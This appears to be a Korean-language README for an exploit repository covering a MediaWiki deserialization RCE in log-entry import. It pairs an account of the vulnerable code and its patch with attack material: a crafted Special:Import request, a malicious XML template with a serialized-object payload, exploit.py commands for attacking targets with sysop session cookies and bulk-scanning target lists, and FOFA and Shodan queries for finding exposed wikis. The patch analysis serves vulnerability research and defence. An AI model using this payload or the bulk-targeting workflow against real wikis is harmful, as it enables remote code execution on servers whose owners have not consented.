
CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import. LogEntryBase::extractParams() unserialize() user-controlled log_params. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025는 MediaWiki(위키미디어 재단)에서 발생하는 치명적인(CVSS 9.8) 신뢰할 수 없는 데이터 역직렬화 취약점입니다. LogEntryBase::extractParams() 메서드는 인스턴스화할 수 있는 PHP 클래스를 제한하지 않고 사용자 제어 로그 항목 매개변수에 대해 unserialize()를 호출했습니다. importupload 또는 import 권한(기본값: sysop 그룹)을 가진 공격자는 <params> 필드에 직렬화된 PHP 객체가 포함된 악성 XML 가져오기 파일을 만들어 임의 객체 인스턴스화와 가젯 체인을 통한 잠재적 원격 코드 실행을 유발할 수 있었습니다.
| 버전 브랜치 | 취약 버전 |
|---|
요구 사항:
import또는importupload권한(기본값:sysop그룹). 공격자는 XML 파일을 MediaWiki의 Special:Import에 업로드하거나 가져올 수 있어야 합니다.
includes/Logging/LogEntryBase.php의 LogEntryBase::extractParams()는 클래스 제한 없이 log_params blob에서 직접 unserialize()를 호출했습니다.
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
이 메서드는 여러 위치에서 호출됩니다.
주요 공격 벡터는 Special:Import를 통한 XML 가져오기입니다.
import/importupload 권한을 가진 공격자가 악성 MediaWiki XML 내보내기 파일을 제작합니다.<params> 필드를 가진 <logitem> 요소가 포함됩니다.WikiImporter::processLogItem() → WikiRevision::importLogItem()가 로그 항목을 저장합니다.DatabaseLogEntry::getParameters(), RecentChange::parseParams(), 또는 로그 표시를 통해) LogEntryBase::extractParams()가 공격자가 제어하는 blob에 대해 unserialize()를 호출합니다.POST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
XML 가져오기의 <params> 필드는 표준 PHP 직렬화 문자열을 허용합니다. 안전한(무해한) 항목:
a:1:{s:3:"foo";s:3:"bar";}
직렬화된 객체를 포함하는 악성 항목:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
unserialize()가 allowed_classes 제한 없이 호출되면 객체가 완전히 인스턴스화됩니다. 사용 가능한 가젯 체인(예: Composer로 설치된 라이브러리)이 있으면 이는 RCE가 됩니다.
커밋: 60f154d4618063ac4d5832285fc246b8fcd7c72c
작성자: Bartosz Dziewoński
날짜: 2026-06-29
이 수정 사항은 여러 방어 계층을 구현합니다.
allowed_classes로 제한된 unserialize()// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams() 검사__PHP_Incomplete_Class 인스턴스(allowed_classes에 의해 차단된 객체)를 감지합니다.
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()새로운 logentryimport 권한 검사(기본적으로 아무에게도 부여되지 않음):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — 안전하지 않은 매개변수 거부if ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — 기존 악성 항목의 안전한 표시새로운 UnsafeLogFormatter 클래스는 차단된 객체를 포함하는 항목에 대해 일반 포맷터를 대체하여, 위험한 데이터의 형식화를 시도하는 대신 자리 표시자 메시지를 표시합니다.
동일한 연구(T422244)는 LogFormatter의 raw 매개변수 유형이 사용자 제어 로그 매개변수에서 원시 HTML 출력을 허용한다는 것도 확인했습니다. 이는 관련 커밋에서 Message::rawParam()을 Message::plaintextParam()으로 변경하여 수정되었습니다.
포함된 exploit.py는 로그 항목 매개변수에 직렬화된 PHP 객체가 포함된 악성 MediaWiki XML 가져오기 파일을 생성합니다. 또한 MediaWiki 인스턴스를 핑거프린팅하고 API를 통해 가져오기를 시도할 수 있습니다.
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTML이 익스플로잇은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유자의 명시적 허가 없이 시스템에 사용하지 마십시오.
| 패치 버전 |
|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
| 파일 | 라인 | 컨텍스트 |
|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — DB에서 로그 항목 읽기 |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — 최근 변경 사항 파싱 |
includes/Import/WikiRevision.php | 638 | importLogItem() — XML에서 로그 항목 가져오기 |
maintenance/purgeChangedFiles.php | 182 | 유지관리 스크립트 로그 파싱 |
tests/phpunit/maintenance/DumpAsserter.php | 541 | 테스트 헬퍼 |